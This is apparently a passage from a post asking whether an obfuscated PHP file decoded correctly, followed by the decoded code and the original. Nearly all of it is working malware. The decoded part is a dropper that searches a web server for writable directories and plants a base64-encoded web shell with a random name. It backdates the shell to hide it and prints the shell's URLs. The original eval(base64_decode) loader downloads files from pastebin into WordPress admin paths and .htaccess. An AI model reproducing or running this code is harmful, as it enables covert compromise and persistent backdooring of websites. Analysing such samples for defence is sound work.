nLmhleCgkYykuJyI+Jy54KCIkZC8kYyIpLic8L2E+CgkJCQkJCQk8L3RkPgoJCQkJCQkJPHRkIGNsYXNzPSJ4Ij4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuJyZ0PScuaGV4KCRjKS4nIj4nLiRHTkpbMjBdKCJZLW0tZCBIOmkiLCAkR05KWzIxXSgiJGQvJGMiKSkuJzwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgY2xhc3M9IngiPgoJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnI9Jy5oZXgoJGMpLiciPlI8L2E+CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmZT0nLmhleCgkYykuJyI+RTwvYT4KCQkJCQkJCQk8YSBocmVmPSI/ZD0nLmhleCgkZSkuJyZnPScuaGV4KCRjKS4nIj5HPC9hPgoJCQkJCQkJCScuJHppLicKCQkJCQkJCQk8YSBocmVmPSI/ZD0nLmhleCgkZSkuJyZ4PScuaGV4KCRjKS4nIj5EPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJPC90cj4KCQkJCQkJCgkJCQkJCSc7CgoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoKCQkJCQkJZWNobyAkaDsKCQkJCQkJZWNobyAkajsKCQkJCQkJZWNobyAnPC90Ym9keT4KCQkJCQkJPHRmb290PgoJCQkJCQkJPHRyPgoJCQkJCQkJCTx0aCBjbGFzcz0iZXQiPgoJCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuJyZ5Ij5SRVFVRVNUPC9hPgoJCQkJCQkJCQk8YSBocmVmPSI/ZD0nLmhleCgkZSkuJyZxIj5FWElUPC9hPgoJCQkJCQkJCTwvdGg+CgkJCQkJCQkJPHRoIGNsYXNzPSJldCIgd2lkdGg9IjExJSI+PC90aD4KCQkJCQkJCQk8dGggY2xhc3M9ImV0IiB3aWR0aD0iMTclIj48L3RoPgoJCQkJCQkJCTx0aCBjbGFzcz0iZXQiIHdpZHRoPSIxNyUiPjwvdGg+CgkJCQkJCQkJPHRoIGNsYXNzPSJldCIgd2lkdGg9IjExJSI+PC90aD4KCQkJCQkJCTwvdHI+CgkJCQkJPC90Zm9vdD4KCQkJCTwvdGFibGU+JzsKCQkJCQl9CgkJCQkJPz4KCgkJCTwvYXJ0aWNsZT4KCQkJPGZvb3RlciBjbGFzcz0ieCI+CgkJCQkmY29weTtUaGVBbG1pZ2h0eVpldXMKCQkJPC9mb290ZXI+CgkJCTw/cGhwCgkJCWlmKGlzc2V0KCRfR0VUWyIxIl0pKSB7CgkJCQllY2hvICRmOwoJCQl9CgkJCWVsc2VpZihpc3NldCgkX0dFVFsiMCJdKSkgewoJCQkJZWNobyAkZzsKCQkJfQoJCQllbHNlIHsKCQkJCU5VTEw7CgkJCX0KCQkJPz4KCgkJCTxzY3JpcHQ+CgkJCQkkKCIuYWp4IikuY2xpY2soZnVuY3Rpb24odCl7dC5wcmV2ZW50RGVmYXVsdCgpO3ZhciBlPSQodGhpcykuYXR0cigiaHJlZiIpO2hpc3RvcnkucHVzaFN0YXRlKCIiLCIiLGUpLCQuZ2V0KGUsZnVuY3Rpb24odCl7JCgiYm9keSIpLmh0bWwodCl9KX0pOwoJCQk8L3NjcmlwdD4KCQk8L2JvZHk+Cgk8L2h0bWw+Cjw/cGhwCglmdW5jdGlvbiByZWMoJGopIHsKCQlnbG9iYWwgJEdOSjsKCQlpZih0cmltKHBhdGhpbmZvKCRqLCBQQVRISU5GT19CQVNFTkFNRSApLCAnLicpID09PSAnJykgewoJCQlyZXR1cm47CgkJfQoJCWlmKCRHTkpbOF0oJGopKSB7CgkJCWFycmF5X21hcCgncmVjJywgZ2xvYigkaiAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAneywufSonLCBHTE9CX0JSQUNFIHwgR0xPQl9OT1NPUlQpKTsKCQkJJEdOSlszNV0oJGopOwoJCX0KCQllbHNlIHsKCQkJJEdOSlsxMF0oJGopOwoJCX0KCX0KCWZ1bmN0aW9uIGRyZSgkeTEsICR5MikgewoJCWdsb2JhbCAkR05KOwoJCW9iX3N0YXJ0KCk7CgkJJEdOSlsxNl0oJHkxKCR5MikpOwoJCXJldHVybiAkR05KWzM2XSgpOwoJfQoJZnVuY3Rpb24gaGV4KCRuKSB7CgkJJHk9Jyc7CgkJZm9yICgkaT0wOyAkaSA8IHN0cmxlbigkbik7ICRpKyspewoJCQkkeSAuPSBkZWNoZXgob3JkKCRuWyRpXSkpOwoJCX0KCQlyZXR1cm4gJHk7Cgl9CglmdW5jdGlvbiB1aGV4KCR5KSB7CgkJJG49Jyc7CgkJZm9yICgkaT0wOyAkaSA8IHN0cmxlbigkeSktMTsgJGkrPTIpewoJCQkkbiAuPSBjaHIoaGV4ZGVjKCR5WyRpXS4keVskaSsxXSkpOwoJCX0KCQlyZXR1cm4gJG47Cgl9CglmdW5jdGlvbiBPSygpIHsKCQlnbG9iYWwgJEdOSiwgJGQ7CgkJJEdOSlszOF0oJEdOSls5XSk7CgkJaGVhZGVyKCJMb2NhdGlvbjogP2Q9Ii5oZXgoJGQpLiImMSIpOwoJCWV4aXQoKTsKCX0KCWZ1bmN0aW9uIEVSKCkgewoJCWdsb2JhbCAkR05KLCAkZDsKCQkkR05KWzM4XSgkR05KWzldKTsKCQloZWFkZXIoIkxvY2F0aW9uOiA/ZD0iLmhleCgkZCkuIiYwIik7CgkJZXhpdCgpOwoJfQoJZnVuY3Rpb24geCgkYykgewoJCWdsb2JhbCAkR05KOwoJCSR4ID0gJEdOSlsyNF0oJGMpOwoJCWlmKCgkeCAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7CgkJCSR1ID0gInMiOwoJCX0KCQllbHNlaWYoKCR4ICYgMHhBMDAwKSA9PSAweEEwMDApIHsKCQkJJHUgPSAibCI7CgkJfQoJCWVsc2VpZigoJHggJiAweDgwMDApID09IDB4ODAwMCkgewoJCQkkdSA9ICItIjsKCQl9CgkJZWxzZWlmKCgkeCAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7CgkJCSR1ID0gImIiOwoJCX0KCQllbHNlaWYoKCR4ICYgMHg0MDAwKSA9PSAweDQwMDApIHsKCQkJJHUgPSAiZCI7CgkJfQoJCWVsc2VpZigoJHggJiAweDIwMDApID09IDB4MjAwMCkgewoJCQkkdSA9ICJjIjsKCQl9CgkJZWxzZWlmKCgkeCAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7CgkJCSR1ID0gInAiOwoJCX0KCQllbHNlIHsKCQkJJHUgPSAidSI7CgkJfQoJCSR1IC49ICgoJHggJiAweDAxMDApID8gInIiIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDgwKSA/ICJ3IiA6ICItIik7CgkJJHUgLj0gKCgkeCAmIDB4MDA0MCkgPyAoKCR4ICYgMHgwODAwKSA/ICJzIiA6ICJ4IikgOiAoKCR4ICYgMHgwODAwKSA/ICJTIiA6ICItIikpOwoJCSR1IC49ICgoJHggJiAweDAwMjApID8gInIiIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDEwKSA/ICJ3IiA6ICItIik7CgkJJHUgLj0gKCgkeCAmIDB4MDAwOCkgPyAoKCR4ICYgMHgwNDAwKSA/ICJzIiA6ICJ4IikgOiAoKCR4ICYgMHgwNDAwKSA/ICJTIiA6ICItIikpOwoJCSR1IC49ICgoJHggJiAweDAwMDQpID8gInIiIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDAyKSA/ICJ3IiA6ICItIik7CgkJJHUgLj0gKCgkeCAmIDB4MDAwMSkgPyAoKCR4ICYgMHgwMjAwKSA/ICJ0IiA6ICJ4IikgOiAoKCR4ICYgMHgwMjAwKSA/ICJUIiA6ICItIikpOwoJCXJldHVybiAkdTsKCX0KCWlmKGlzc2V0KCRfR0VUWyJnIl0pKSB7CgkJJEdOSlszOF0oJEdOSls5XSk7CgkJaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwoJCWhlYWRlcigiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQmluYXJ5Iik7CgkJaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIi4kR05KWzM0XSh1aGV4KCRfR0VUWyJnIl0pKSk7CgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIudWhleCgkX0dFVFsiZyJdKS4iXCIiKTsKCQkkR05KWzM3XSh1aGV4KCRfR0VUWyJnIl0pKTsKCX0KPz4=";
$payload_name = "";

srand(time());

/////////////////////////////////////////////////////////
function comparer($a, $b)
{
    return strlen($a)-strlen($b);
}

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function GetPathDiff($base_path, $full_path)
{
    $pos = strpos($full_path, $base_path);

    if ($pos === FALSE)
    {
        return FALSE;
    }

    return substr($full_path, $pos + strlen($base_path));
}

function GetWritableDirs()
{
    $res = Array();

    $analysys_queue = Array();

    $analysys_queue[] = GetDocRoot();

    $self_path = $_SERVER['SCRIPT_FILENAME'];
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
    {
        $self_path = substr($self_path, 0, $slash);

        if ($self_path == GetDocRoot())
        {
            break;
        }

        if (strlen($self_path))
        {
            $analysys_queue[] = $self_path;
        }
    }

    foreach ($analysys_queue as $current_dir)
    {
        if (!in_array($current_dir, $res))
        {
            $res = array_merge($res, GetDirectoryList($current_dir));
        }
    }
    $res = array_merge($analysys_queue, $res);

    return CheckWritable(array_unique($res));
}

function CheckWritable($dir_list)
{
    $dir_list_writable = Array();

    foreach ($dir_list as $dir)
    {
        if (@is_writable($dir) == TRUE)
        {
            $dir_list_writable[] = $dir;
        }
    }

    return $dir_list_writable;
}

function GetDirectoryList($dir, $depth=1000)
{

    $result = array();
    $dir_count = 0;

    if ($depth == 0)
    {
        return $result;
    }

    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/');
    $h = @opendir($dir);
    if ($h === FALSE)
    {
        return $result;
    }

    while (($f = readdir($h)) !== FALSE)
    {
        if ($f !== '.' and $f !== '..')
        {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir))
            {
                $dir_count += 1;

                if ($dir_count >= $depth)
                {
                    break;
                }

                $result[] = $current_dir;
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
            }
        }
    }

    closedir($h);

    return $result;
}

function GetDocRoot()
{
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
    if ($docroot_end === FALSE)
    {
        return $_SERVER['DOCUMENT_ROOT'];
    }
    elseif ($docroot_end === 0)
    {
        return "/";
    }
    else
    {
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
    }
}

function GetPayload($payload)
{
    $current_payload = base64_decode($payload);

    return $current_payload;
}

function WritePayload($path, $payload)
{
    if (!file_exists($path))
    {
        if (file_put_contents($path, GetPayload($payload)) != FALSE)
        {
            return TRUE;
        }

    }

    return FALSE;
}

////////////////////////////////////////////////////////////////////////////////////////////

# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();

if (!($base_local_path_time = @stat($base_local_path."/.htaccess")))
{
    if (!($base_local_path_time = @stat($base_local_path."/index.php")))
    {
        if (!($base_local_path_time = @stat($base_local_path."/index.html")))
        {
            if (!($base_local_path_time = @stat($base_local_path."/..")))
            {
                if (!($base_local_path_time = @stat($base_local_path)))
                {
                    $base_local_path_time = Array();
                    $base_local_path_time['mtime'] = time();
                }
            }
        }
    }
}

$base_local_path_time = $base_local_path_time['mtime'];

$dir_list_writable = GetWritableDirs();

if (count($dir_list_writable) == 0)
{
    echo "URL#STATUS_UNWRITABLE";
    exit();
}

usort($dir_list_writable, 'comparer'); # sort directory by len

$list_writable = Array();
$list_writable[] = $dir_list_writable[0];
$list_writable[] = $dir_list_writable[rand(0,sizeof($dir_list_writable))];
$good = FALSE;
$good_counter = 0;
# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($list_writable as $current_dir)
{
    // if payload name is set, no more one try to upload on current dir
    //for ($i=0; $i < $max_tryes; $i++)
    {
        if (strlen($payload_name) == 0)
        {
            $temp_payload_name = generateRandomString();
        }
        else
        {
            $temp_payload_name = $payload_name;
        }

        $full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;

        $uri_path = GetPathDiff($base_local_path, $full_payload_name);
        if (strpos($uri_path, $temp_payload_name) === false)
        {
            $uri_path = $uri_path . "/"  . $temp_payload_name;
        }
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);

        if (WritePayload($full_payload_name, $payload_file))
        {
            touch($full_payload_name, $base_local_path_time); // set last modification time as root folder
            chmod($full_payload_name, 0755);
            echo "URL#http://" . $full_uri . PHP_EOL;
            $good=TRUE;
            $good_counter++;
            if ($good_counter >1)
            {
                //unlink("dfaonfpfkwg.php");
                echo "#CCCURL";
                exit();
            }
        }
    }
}
if(!$good)
    echo "URL#STATUS_CANTUPLOAD#CCCURL";
echo "#CCCURL";
//unlink("dfaonfpfkwg.php");
exit();

Did this file decode correctly?

Original Code

<?php eval(base64_decode("ZnVuY3Rpb24gaHR0cF9nZXQoJHVybCl7CiRpbSA9IGN1cmxfaW5pdCgkdXJsKTsKY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7CmN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7CmN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9IRUFERVIsIDApOwpyZXR1cm4gY3VybF9leGVjKCRpbSk7CmN1cmxfY2xvc2UoJGltKTsKfQokY2hlY2sxID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtYWRtaW4vaW5jbHVkZXMvYWJvdXQucGhwIiA7CiR0ZXh0MSA9IGh0dHBfZ2V0KCdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTUJaQUg0WFEnKTsKJG9wZW4xID0gZm9wZW4oJGNoZWNrMSwgJ3cnKTsKZndyaXRlKCRvcGVuMSwgJHRleHQxKTsKZmNsb3NlKCRvcGVuMSk7CmlmKGZpbGVfZXhpc3RzKCRjaGVjazEpKXsKfQokY2hlY2sxID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtYWRtaW4vaW5jbHVkZXMvLmh0YWNjZXNzIiA7CiR0ZXh0MSA9IGh0dHBfZ2V0KCdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvTmNkVURqY3gnKTsKJG9wZW4xID0gZm9wZW4oJGNoZWNrMSwgJ3cnKTsKZndyaXRlKCRvcGVuMSwgJHRleHQxKTsKZmNsb3NlKCRvcGVuMSk7CmlmKGZpbGVfZXhpc3RzKCRjaGVjazEpKXsKfQp1bmxpbmsoIi4vdGVzLnBocCIpOwppZighZGVmaW5lZCgiUEhQX0VPTCIpKQp7CiAgICBkZWZpbmUoIlBIUF9FT0wiLCAiXG4iKTsKfQoKaWYoIWRlZmluZWQoIkRJUkVDVE9SWV9TRVBBUkFUT1IiKSkKewogICAgZGVmaW5lKCJESVJFQ1RPUllfU0VQQVJBVE9SIiwgIi8iKTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDEwKQp7CiAgICAkY2hhcmFjdGVycyA9ICcwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXonOwogICAgJGNoYXJhY3RlcnNMZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOwogICAgJHJhbmRvbVN0cmluZyA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgewogICAgICAgICRyYW5kb21TdHJpbmcgLj0gJGNoYXJhY3RlcnNbcmFuZCgwLCAkY2hhcmFjdGVyc0xlbmd0aCAtIDEpXTsKICAgIH0KICAgIHJldHVybiAkcmFuZG9tU3RyaW5nIC4gInNoZWxsLnBocCI7Cn0KCiRwYXlsb2FkX2ZpbGUgPSAiUEQ5d2FIQWdhR1ZoWkdWeUtDSllMVmhUVXkxUWNtOTBaV04wYVc5dU9pQXdJaWs3YjJKZmMzUmhjblFvS1R0elpYUmZkR2x0WlY5c2FXMXBkQ2d3S1R0bGNuSnZjbDl5WlhCdmNuUnBibWNvTUNrN2FXNXBYM05sZENnblpHbHpjR3hoZVY5bGNuSnZjbk1uTENCR1FVeFRSU2s3Q2lSQmNuSmhlU0E5SUZzS0NRa25OekEyT0Rjd05XWTNOVFpsTmpFMlpEWTFKeXdLQ1Frbk56QTJPRGN3TnpZMk5UY3lOek0yT1RabU5tVW5MQW9KQ1NjMk16WTROalEyT1RjeUp5d0tDUWtuTmpjMk5UYzBOak0zTnpZMEp5d0tDUWtuTnpBM01qWTFOamMxWmpjek56QTJZelk1TnpRbkxBb0pDU2MyTXpabU56QTNPU2NzQ2drSkp6WTJOamsyWXpZMU5XWTJOelkxTnpRMVpqWXpObVkyWlRjME5qVTJaVGMwTnpNbkxBb0pDU2MyTWpZeE56TTJOVE0yTXpRMVpqWTBOalUyTXpabU5qUTJOU2NzQ2drSkp6WTVOek0xWmpZME5qazNNaWNzQ2drSkp6Wm1OakkxWmpZMU5tVTJORFZtTmpNMll6WTFOakUyWlRJNE1qa3pZaWNzQ2drSkp6YzFObVUyWXpZNU5tVTJZaWNzQ2drSkp6WmtObUkyTkRZNU56SW5MQW9KQ1NjMk16WTRObVEyWmpZMEp5d0tDUWtuTnpNMk16WXhObVUyTkRZNU56SW5MQW9KQ1NjM016YzBOekkxWmpjeU5qVTNNRFpqTmpFMk16WTFKeXdLQ1Frbk5qZzNORFprTm1NM016Y3dOalUyTXpZNU5qRTJZell6TmpnMk1UY3lOek1uTEFvSkNTYzNOall4TnpJMVpqWTBOelUyWkRjd0p5d0tDUWtuTmpZMlpqY3dOalUyWlNjc0Nna0pKelkyTnpjM01qWTVOelEyTlNjc0Nna0pKelkyTmpNMll6Wm1Oek0yTlNjc0Nna0pKelkwTmpFM05EWTFKeXdLQ1Frbk5qWTJPVFpqTmpVMlpEYzBOamsyWkRZMUp5d0tDUWtuTnpNM05UWXlOek0zTkRjeUp5d0tDUWtuTnpNM01EY3lOamsyWlRjME5qWW5MQW9KQ1NjMk5qWTVObU0yTlRjd05qVTNNalprTnpNbkxBb0pDU2MzTkRabU56VTJNelk0Snl3S0NRa25OalkyT1Raak5qVTFaalkxTnpnMk9UY3pOelEzTXljc0Nna0pKemN5TmpVMlpUWXhObVEyTlNjc0Nna0pKelk1TnpNMVpqWXhOekkzTWpZeE56a25MQW9KQ1NjMk9UY3pOV1kyWmpZeU5tRTJOVFl6TnpRbkxBb0pDU2MzTXpjME56STNNRFptTnpNbkxBb0pDU2MyT1Rjek5XWTNOemN5TmprM05EWXhOakkyWXpZMUp5d0tDUWtuTmprM016Vm1OekkyTlRZeE5qUTJNVFl5Tm1NMk5TY3NDZ2tKSnpjek56UTNNamMwTm1ZM05EWTVObVEyTlNjc0Nna0pKelkyTmprMll6WTFOek0yT1RkaE5qVW5MQW9KQ1NjM01qWmtOalEyT1RjeUp5d0tDUWtuTm1ZMk1qVm1OamMyTlRjME5XWTJNelpqTmpVMk1UWmxKeXdLQ1Frbk56STJOVFl4TmpRMk5qWTVObU0yTlNjc0Nna0pKell4TnpNM016WTFOekkzTkNjc0NsMDdDaVJmWDE4Z1BTQmpiM1Z1ZENna1FYSnlZWGtwT3dwbWIzSW9KR2s5TURza2FUd2tYMTlmT3lScEt5c3BJSHNLQ1NSSFRrcGJYU0E5SUhWb1pYZ29KRUZ5Y21GNVd5UnBYU2s3Q24wS1B6NEtQQ0ZFVDBOVVdWQkZJR2gwYld3K0NnazhhSFJ0YkNCa2FYSTlJbUYxZEc4aUlHeGhibWM5SW1WdUxWVlRJajRLQ2drSlBHaGxZV1ErQ2drSkNUeHRaWFJoSUdOb1lYSnpaWFE5SWxWVVJpMDRJajRLQ1FrSlBHMWxkR0VnYm1GdFpUMGljbTlpYjNSeklpQmpiMjUwWlc1MFBTSk9UMGxPUkVWWUxDQk9UMFpQVEV4UFZ5SStDZ29KQ1FrSlBIUnBkR3hsUGsxQlVrbEtWVUZPUVR3dmRHbDBiR1UrQ2dvSkNRazhiR2x1YXlCeVpXdzlJbWxqYjI0aUlHaHlaV1k5SWk4dk1IZzFZVFExTlRVMU15NW5hWFJvZFdJdWFXOHZUVUZTU1VwVlFVNUJMMmxqYjI0dWNHNW5JaUF2UGdvSkNRazhiR2x1YXlCeVpXdzlJbk4wZVd4bGMyaGxaWFFpSUdoeVpXWTlJaTh2TUhnMVlUUTFOVFUxTXk1bmFYUm9kV0l1YVc4dlRVRlNTVXBWUVU1QkwyMWhhVzR1WTNOeklpQjBlWEJsUFNKMFpYaDBMMk56Y3lJK0Nnb0pDUWs4YzJOeWFYQjBJSE55WXowaUx5OWhhbUY0TG1kdmIyZHNaV0Z3YVhNdVkyOXRMMkZxWVhndmJHbGljeTlxY1hWbGNua3ZNeTR6TGpFdmFuRjFaWEo1TG0xcGJpNXFjeUkrUEM5elkzSnBjSFErQ2drSkNUeHpZM0pwY0hRZ2MzSmpQU0l2TDJOa2JtcHpMbU5zYjNWa1pteGhjbVV1WTI5dEwyRnFZWGd2YkdsaWN5OXViM1JwWm5rdk1DNDBMakl2Ym05MGFXWjVMbTFwYmk1cWN5SStQQzl6WTNKcGNIUStDZ2tKUEM5b1pXRmtQZ29LQ1FrOFltOWtlVDRLQ1FrSlBHaGxZV1JsY2o0S0NRa0pDVHhrYVhZZ1kyeGhjM005SW5rZ2VDSStDZ2tKQ1FrSlBHRWdZMnhoYzNNOUltRnFlQ0lnYUhKbFpqMGlQRDl3YUhBZ1pXTm9ieUJpWVhObGJtRnRaU2drWDFORlVsWkZVbHNuVUVoUVgxTkZURVluWFNrN1B6NGlQZ29KQ1FrSkNRbE5RVkpKU25WQlRrRUtDUWtKQ1FrOEwyRStDZ2tKQ1FrOEwyUnBkajRLQ2drSkNRazhaR2wySUdOc1lYTnpQU0p4SUhnZ2R5SStDZ2tKQ1FrSkppTTRNakV5T3lCRVNVOVRJQ1lqT0RJeE1qc2dUazhnSmlNNE1qRXlPeUJEVWtWQklDWWpPREl4TWpzZ1RrRkVRU0FtSXpneU1USTdJRVZPSUNZak9ESXhNanNnVmtGT1R5QW1Jemd5TVRJN0Nna0pDUWs4TDJScGRqNEtDUWtKQ1FvSkNRazhMMmhsWVdSbGNqNEtDZ2tKQ1R4aGNuUnBZMnhsUGdvSkNRa0pQR1JwZGlCamJHRnpjejBpYVNJK0Nna0pDUWtKUEdrZ1kyeGhjM005SW1aaGNpQm1ZUzFvWkdRaVBqd3ZhVDRLQ1FrSkNRazhQM0JvY0NCbFkyaHZJQ1JIVGtwYk1GMG9LVHMvUGdvS0NRa0pDUWs4WW5JZ0x6NEtDZ2tKQ1FrSlBHa2dZMnhoYzNNOUltWmhjaUJtWVMxc2FXZG9kR0oxYkdJaVBqd3ZhVDRnSm5Sb2FXNXpjRHNtZEdocGJuTndPenhpUGxOUFJsUWdJRG84TDJJK0lEdy9jR2h3SUdWamFHOGdKRjlUUlZKV1JWSmJKMU5GVWxaRlVsOVRUMFpVVjBGU1JTZGRPejgrSUR4aVBsQklVQ0E2UEM5aVBpQThQM0JvY0NCbFkyaHZJQ1JIVGtwYk1WMG9LVHMvUGdvS0NRa0pDUWs4WW5JZ0x6NEtDZ2tKQ1FrSlBHa2dZMnhoYzNNOUltWmhjaUJtWVMxbWIyeGtaWElpUGp3dmFUNEtDUWtKQ1FrS0NRa0pDUWs4UDNCb2NBb0pDUWtKQ1dsbUtHbHpjMlYwS0NSZlIwVlVXeUprSWwwcEtTQjdDZ2tKQ1FrSkNTUmtJRDBnZFdobGVDZ2tYMGRGVkZzaVpDSmRLVHNLQ1FrSkNRa0pKRWRPU2xzeVhTaDFhR1Y0S0NSZlIwVlVXeUprSWwwcEtUc0tDUWtKQ1FsOUNna0pDUWtKWld4elpTQjdDZ2tKQ1FrSkNTUmtJRDBnSkVkT1Nsc3pYU2dwT3dvSkNRa0pDWDBLQ1FrSkNRa2theUE5SUNSSFRrcGJORjBvSWk4b1hGeGNmRnd2S1M4aUxDQWtaQ0FwT3dvSkNRa0pDV1p2Y21WaFkyZ2dLQ1JySUdGeklDUnRJRDArSUNSc0tTQjdJQW9KQ1FrSkNRbHBaaWdrYkQwOUp5Y2dKaVlnSkcwOVBUQXBJSHNLQ1FrSkNRa0pDV1ZqYUc4Z0p6eGhJR05zWVhOelBTSmhhbmdpSUdoeVpXWTlJajlrUFRKbUlqNHZQQzloUGljN0Nna0pDUWtKQ1gwS0NRa0pDUWtKYVdZb0pHd2dQVDBnSnljcElIc2dDZ2tKQ1FrSkNRbGpiMjUwYVc1MVpUc0tDUWtKQ1FrSmZRb0pDUWtKQ1FsbFkyaHZJQ2M4WVNCamJHRnpjejBpWVdwNElpQm9jbVZtUFNJL1pEMG5Pd29KQ1FrSkNRbG1iM0lnS0NScElEMGdNRHNnSkdrZ1BEMGdKRzA3SUNScEt5c3BJSHNLQ1FrSkNRa0pDV1ZqYUc4Z2FHVjRLQ1JyV3lScFhTazdJQW9KQ1FrSkNRa0phV1lvSkdrZ0lUMGdKRzBwSUhzS0NRa0pDUWtKQ1FsbFkyaHZJQ2N5WmljN0Nna0pDUWtKQ1FsOUNna0pDUWtKQ1gwS0NRa0pDUWtKWldOb2J5QW5JajRuTGlSc0xpYzhMMkUrTHljN0lBb0pDUWtKQ1gwS0NRa0pDUWsvUGdvS0NRa0pDUWs4WW5JZ0x6NEtDZ2tKQ1FrOEwyUnBkajRLQ2drSkNRazhaR2wySUdOc1lYTnpQU0oxSWo0S0NRa0pDUWs4UDNCb2NDQmxZMmh2SUNSZlUwVlNWa1ZTV3lkVFJWSldSVkpmUVVSRVVpZGRPejgrSUR4cElHTnNZWE56UFNKbVlYTWdabUV0YkdsdWF5SStQQzlwUGdvSkNRa0pDVHhpY2lBdlBnb0tDUWtKQ1FrOFluSWdMejRLQ2drSkNRa0pQR1p2Y20wZ2JXVjBhRzlrUFNKd2IzTjBJaUJsYm1OMGVYQmxQU0p0ZFd4MGFYQmhjblF2Wm05eWJTMWtZWFJoSWo0S0NRa0pDUWtKUEd4aFltVnNJR05zWVhOelBTSnNJSGNpUGdvSkNRa0pDUWtKUEdsdWNIVjBJSFI1Y0dVOUltWnBiR1VpSUc1aGJXVTlJbTViWFNJZ2IyNWphR0Z1WjJVOUluUm9hWE11Wm05eWJTNXpkV0p0YVhRb0tTSWdiWFZzZEdsd2JHVStJQ1p1WW5Od08xVlFURTlCUkFvSkNRa0pDUWs4TDJ4aFltVnNQaVp1WW5Od093b0pDUWtKQ1R3dlptOXliVDRLQ2drSkNRa0pQRDl3YUhBS0NRa0pDUWtrYjE4Z1BTQmJJQW9KQ1FrSkNRa0pKenh6WTNKcGNIUStKQzV1YjNScFpua29JaWNzQ2drSkNRa0pDUWtuSWl3Z2V5QmpiR0Z6YzA1aGJXVTZJakVpTEdGMWRHOUlhV1JsUkdWc1lYazZJREl3TURBc2NHOXphWFJwYjI0NklteGxablFnWW05MGRHOXRJaUI5S1RzOEwzTmpjbWx3ZEQ0bkNna0pDUWtKQ1YwN0Nna0pDUWtKSkdZZ1BTQWtiMTliTUYwdUowOUxJU2N1Skc5Zld6RmRPd29KQ1FrSkNTUm5JRDBnSkc5Zld6QmRMaWRGVWlFbkxpUnZYMXN4WFRzS0NRa0pDUWxwWmlocGMzTmxkQ2drWDBaSlRFVlRXeUp1SWwwcEtTQjdDZ2tKQ1FrSkNTUjZJRDBnSkY5R1NVeEZVMXNpYmlKZFd5SnVZVzFsSWwwN0Nna0pDUWtKQ1NSeUlEMGdZMjkxYm5Rb0pIb3BPd29KQ1FrSkNRbG1iM0lvSUNScFBUQWdPeUFrYVNBOElDUnlJRHNnSkdrckt5QXBJSHNLQ1FrSkNRa0pDV2xtS0NSSFRrcGJOVjBvSkY5R1NVeEZVMXNpYmlKZFd5SjBiWEJmYm1GdFpTSmRXeVJwWFN3Z0pIcGJKR2xkS1NrZ2V3b0pDUWtKQ1FrSkNXVmphRzhnSkdZN0Nna0pDUWtKQ1FsOUNna0pDUWtKQ1FsbGJITmxJSHNLQ1FrSkNRa0pDUWxsWTJodklDUm5Pd29KQ1FrSkNRa0pmUW9KQ1FrSkNRbDlDZ2tKQ1FrSmZRb0pDUWtKQ1Q4K0Nnb0pDUWtKUEM5a2FYWStDZ2tKQ1FrSlBEOXdhSEFLQ1FrSkNRa2tZVjhnUFNBblBIUmhZbXhsSUdObGJHeHpjR0ZqYVc1blBTSXdJaUJqWld4c2NHRmtaR2x1WnowaU55SWdkMmxrZEdnOUlqRXdNQ1VpUGdvSkNRa0pDUWs4ZEdobFlXUStDZ2tKQ1FrSkNRazhkSEkrQ2drSkNRa0pDUWtKUEhSb1BpYzdDZ2tKQ1FrSkpHSmZJRDBnSnp3dmRHZytDZ2tKQ1